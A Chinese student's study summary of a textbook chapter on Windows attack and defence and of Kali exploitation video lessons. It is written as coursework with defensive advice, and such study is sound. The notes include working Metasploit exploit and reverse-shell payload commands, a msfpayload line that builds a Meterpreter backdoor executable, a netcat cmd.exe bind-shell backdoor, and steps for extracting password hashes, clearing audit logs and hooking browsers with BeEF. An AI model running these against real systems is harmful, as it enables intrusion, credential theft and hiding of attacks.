教材和视频学习总结
一、教材内容学习总结
课本第七章主要围绕windows操作系统安全攻防技术进行讲述,教材中主要涉及的攻击内容如下:
- Windows操作系统的基本结构
运行于处理器特权模式的操作系统内核
运行在处理器非特权模式的用户空间代码
采用宏内核模式来进行构架 - Windows操作系统内核的基本模块包括如下
Windows执行体
Windows内核体
设备驱动程序
硬件抽象层
Windows窗口与图形界面接口内核实现代码 - Windows操作系统在用户态的代码模块则包括如下
系统支持进程
环境子系统服务进程
服务进程
用户应用软件
核心子系统DLL。 - Windows操作系统内核中实现了如下的核心机制
Windows进程和线程管理机制
Windows内存管理机制
Windows文件管理机制(NTFS)
Windows注册表管理机制
Windows的网络机制 - Windows安全体系结构
Windows操作系统基于引用监控器模型来实现基本的对象安全模型。
Windows身份认证机制 - Windows授权与访问控制机制
- Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员定义,来确定系统对那些事件进行记录。 - Windows的其他安全机制
身份认证
授权与访问控制
安全审计 - 目前Windows远程攻击技术可以分为以下几大类
远程口令猜测与破解攻击
攻击Windows网络服务
攻击Windows客户端及用户 - Windows系统的安全漏洞生命周期
- 使用Metasploit软件实施渗透测试
Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。 - 使Metasploit Console终端实施渗透测试,只需运行如下命令
use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03_026漏洞的渗透攻击模块。
set PAYLOAD generic/shell reverse_tcp,选择该渗透攻击模块适用的攻击负载模块。
set LHOST 192.168.200.2;set RHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数。
exploit,实施渗透攻击过程。
在远程控制会话中与目标主机进行交互,可能需要执行“sessions -I”列出当前已建立的远程控制会话,并执行“sessions –i数字”在指定的供给控制会话中与远程目标主机进行交互。 - 远程口令字猜测
- 远程口令字交换通信窃听与破解
尽量关闭不必要开放的易受远程口令猜测攻击网络服务,包括TCP 139/445端口的SMB服务、TCP135端口的WMI服务、TCP3389端口的TS终端服务以及TCP1433端口的MS SQL Server服务等。
配置主机防火墙来限制对上述端口的服务。
利用网络防火墙来限制到这些服务的访问。
应对远程口令字交换通信窃听与破解攻击最基本的途径是禁用过时而且存在本质上安全缺陷的LanMan与NTLM。
对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略,此外可以设置账户锁定阈值,最后还可以在系统上激活帐户登录失败事件审计功能。 - Windows网络服务远程渗透攻击
Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口,对应的网络服务为MSRPC远程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。 - 针对NetBIOS网络服务的著名漏洞及攻击
NetBIOS网络基本输入输出系统提供了Windows局域网联网的基本支持,包括在UDP137端口上监听的NetBIOS名字服务、UDP138端口上的NetBIOS数据报服务以及TCP139端口上的NetBIOS会话服务。 - 针对SMB网络服务的著名漏洞及攻击
服务消息块SMB是Windows操作系统中最为复杂,也最容易遭受远程渗透攻击的网络服务。SMB空会话是Windows网络中影响范围最广和时间最长的安全弱点之一。 - 针对MSRPC网络服务的著名漏洞及攻击
MSRPC网络服务是微软Windows操作系统对DCE-RPC标准远程过程调用机制的实现。远程过程调用机制是现代操作系统最基本的支撑机制之一,允许一个应用程序能够无缝地通过网络调用远程主机上网络进程中的过程,在MSRPC实现中,可以采用如下的网络传输协议:
ncacn_ip_tcp:TCP/IP传输协议,使用TCP135端口
ncadg_ip_udp:UDP/IP传输协议,使用UDP135端口
ncacn_np:SMB命名管道传输协议,使用SMB的TCP139或445端口
ncalrpc:本地网络RPC传输
ncacn_http:HTTP传输协议,基于IIS服务,缺省配置在TCP593端口。 - 针对Windows系统上微软网络服务的远程渗透攻击
IIS Internet服务集成了HTTP、FTP、SMTP、POP、NNTP等网络服务,并支持CGI、ASP、ISAPI等动态编程语言与接口,是微软服务器软件提供网站、电子邮件收发和文件共享服务的主要解决方案。MS SQL Server监听TCP1433与UDP1434端口,支持使用Windows用户账号进行身份认证模式。MS SQL Server自建用户身份认证模式,SQL Server数据库服务的登陆账号加密存储与master数据库的syslogins表中,并对用户进行角色管理和授权访问控制,同时提供访问日志功能,整体安全水平能够达到C2级别。 - 网络服务远程渗透攻击防范措施
针对Windows系统上的各种网络服务远程渗透攻击,最基本的防范措施就是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞,具体包括如下:
从软件设计开发根源上尽可能减少安全漏洞的出现
作为系统的使用者和管理员,应尽可能快地更新与应用软件安全补丁
在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间,管理员对安全敏感的服务器应该测试和实施科永的攻击缓解配置
利用服务软件厂商及社区中提供的安全核对清单来对服务进行安全配置
通过漏洞扫描软件来标识网络中存在的以及安全漏洞并及时修补。 - Windows本地特权提升
从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的共计途径主要是通过DLL注入和破解本地程序安全漏洞。从技术上来说,获得了Administrator权限并不意味着获得了Windows系统的最高权限,Local System账户比Administrator账户的权限更高,比如Administrator不能在系统运行时刻读取SAM位置注册表键值,而Local System却可以。有了Administrator权限,获得Local System权限就很简单了,一种方法是利用Windows的计划任务服务,执行“atXX:XX/INTERACTIVE cmd.exe”打开一个命令Shell,该Shell的权限即为Local System;另一种方法是利用sysinternals的免费工具psexec,它甚至允许以远程方式获得和使用Local System权限。针对本地提权攻击,与网络服务的远程渗透攻击类似,最根本的防范措施就是及时给你的系统打好各种补丁。 - Windows系统口令字密文提取技术
在本地获取口令字密文的主要包括如下三种途径:
从另一种操作系统启动后拷贝文件系统中的口令密文文件
利用硬盘修复工具包中的rdisk工具,执行“rdisk/s-”命令创建SAM备份文件副本
使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。 - LSA Aercrets通常位于HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets子键下,LSA Secrets收录如下信息
某些服务账户的明文口令字
本季系统最近10位用户的口令字密文
FTP、Web用户的明文口令字
RAS远程访问服务拨号账户的名字和口令字
用来访问域控制器的计算机账户和口令字密文。 - 用户敏感数据窃取
对于用户在系统中的文件,攻击者可以执行find、findstr、grep等命令行工具来实施查找,此外,攻击者也可能使用键击记录器来对用户键盘输入进行监听,并期望从中搜索用户登陆某些应用软件、网游、金融网站的口令密码。 - 本地敏感信息窃取防范措施
- 针对LSA Secrets和其他位置口令字的窃取与破解,目前这种攻击普遍需要攻击者已经具有Administrator的权限,在这种情况下,系统很难防止攻击者获取到这些信息,因此只能通过使用更安全的加密算法保护明文口令字,以及通过安全配置策略避免缓存关键服务器的铭感登陆口令信息,来尽量降低这种攻击造成的安全风险。
- Windows消踪灭迹
关闭审计功能(Windows Resource Kit工具包里的auditpol程序可以让他们轻易地关闭审计功能)
清理事件日志(使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志) - Windows远程控制与后门程序
攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。Netcat工具是攻击者们最常用的命令行远程控制工具么可以通过“nc-L-d-e cmd.exe-p 80”命令启动后门服务,监听所配置的TCP 80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe来执行任意的操作。Meterpreter的设计目标包括如下:
隐蔽性
设计功能强大
灵活可扩展。 - 针对后门程序的防范措施
- 针对远程控制后门程序,在一台计算机已经怀疑遭受攻击的Windows系统上,防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件。
教材作业实践
Metasploit实验过程
使用Metasploit Console终端实施渗透测试过程。(攻击机kali(192.168.246.129),靶机Windows xp(192.168.246.128))
- use exploit/windows/dcerpc/ms03_026_dcom
- set PLAYLOAD generic/shell——reverse_tcp
- set LHOST 192.168.246.129;set RHOST 192.168.246.128
- exploit
二、视频学习总结
Kali - 漏洞利用之检索与利用
1、searchsploit
- 可以借助关键词搜索漏洞信息以及漏洞对应的exp,searchsploit wordpress列出了漏洞和文件地址。
- 相对文件目录是/usr/share/exploitdb/platforms
2、pattern create
测试漏洞
3、jboss-autopwn-linux/win
专门针对Jboss的漏洞利用工具
4、ikat
自动化开启,等待目标访问中招。
5、termineter
评估智能电表的安全性。
Kali - 漏洞利用之Metasploit基础
Metasploitable在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
1、启动服务
在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据查询exploit和记录。
service metasploit start
2、路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
- Auxiliary:辅助模块。
- encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
- exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
- payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
- post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
3、基本命令
- msfpayload:用来生成payload或者shellcode。搜索时候可以用msfpayload -l |grep “windows”这样的命令来查询,-o选项可以列出payload所需的参数。
- msfencode:msf中的编码器,早期为了编码绕过AV现在常用msfpayload与它编码避免exploit的坏字符串。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
- msfconsole:开启metasploit的console
4、测试示例:发现漏洞,搜索exploit
- 首先对目标进行版本扫描:nmap -sV 192.168.246.129
- 在msfconsole中搜索看Metasploit的ftp服务是否有漏洞
- 进入exploit,查看参数
- 配置信息:set LHOST 192.168.246.129;set RHOST 192.168.246.128
- 输入命令exploit 进行攻击
Kali - 漏洞利用之Meterpreter介绍
Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。meterpreter作为后渗透模块有多中类型,并且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式,其有很多有用的功能,如,添加一个用户,隐藏一些东西,打开shell,得到用户密码,上传下载远程主机的文件,运行cmd.exe,捕获屏幕,得到远程控制权,捕获按键信息,清除应用程序,显示远程主机的系统信息,显示远程及其的网络接口和IP地址等信息。
常见命令:
- background:将当前会话放置后台
- load/use:加载模块
- interact:切换进一个信道
- migrate:迁移进程
- run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本。
- resource:执行一个已有的rc脚本常用的meterpreter类型为:payload/windows/meterpreter/reverse_tcp。
常见命令使用
包括系统信息,抓取屏幕截图与抓取HASH等。
攻击步骤: - 设置参数:
(1)msfconsole
(2)use exploit/multi/handler
(3)set payload windows/meterpreter/reverse_tcp
(4)set LHOST 192.168.246.129;set LPORT 2333
- 生成Meterpreter后门
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.246.129 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
但是设置成功后仍然无法使用
Kali - 漏洞利用之Metasploit后渗透测试
在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。
- 查看当前网卡、网段信息:ifconfig
- 添加路由表:run autoroute -s 10.0.0.1。
- 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用,通过代理即可访问内网计算机
- 通过background和session -i可以*切换进入session
- 输入run可以看到在meterpreter上可以做的很多命令
- 通过run post/可以看到后渗透测试模块
- 获取内网信息:run arp_scanner -r 10.0.0.1/24
- 也可以上传文件,做端口转发后进行后续测试
- 应用程序/权限维持/Tunnel工具集
- 端口转发 upload lcx.exe c:
Kali - 漏洞利用之BeEF
XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。 - 命令行下启动Beef:beef-xss 。
此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 。
(1)hock攻击
使用默认用户名beef与默认密码beef登录:
- 假设被测试主机由于XSS漏洞请求到http://127.0.0.1:3000/demos/basic.html
- 这个测试在访问了之后,Beef就会hock到信息
- HOCK持续的时间到关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commends模块,可以完成很多任务。
其中,4种颜色分别表示:
绿色:该攻击模块可用,且隐蔽性强;
灰色:该攻击模块可用,但隐蔽性差;
橙色:该攻击模块是否可用还有待验证;
红色:该攻击模块不可用
- 选取MISC下的Raw JavaScript模块作为测试用例,右端表格有该模块的详细说明,以及一些可选的参数等。输入JavaScript code,点击Excute进行攻击:
(2)Proxy功能
- 借助目标浏览器访问目标可以访问的地址。
利用use as Proxy设定主机代理,在Rider选项中的Forge Request当中编辑要发送的内容
信息发送后,可通过History选项看到,待传输成功后,点击相应的信息,即可显示详细的传输过程:
(3)BeeF与Metasploit结合加载
- 首先打开beef xss目录
cd /usr/share/beef-xss/ ls
/usr/share/beef-xss/nano config.yaml /*
- 编辑一下,可以看到有很多配置信息,包括用户名、密码都可以在这设置,在此将Metasploit的false修改为true
保证此处IP等信息设置正确(不适用127.0.0.1,需使用本机IP),并修改Custom路径:
cd extensions/metasploit/
ls
nano config.yaml / 将host和callback_host行的IP修改为本机IP,并修改custom路径为/usr/share/metasploit-framework/ */配置好后打开msfconsole,运行命令:
load msgrpc ServerHost=192.168.8.115 Pass=abc123
- 执行./beef -x重新加载Metasploit的exploit模块
- 加载之后,重启下服务:service beef-xss restart,可以看到Metasploit下面多了很多可以使用的模块。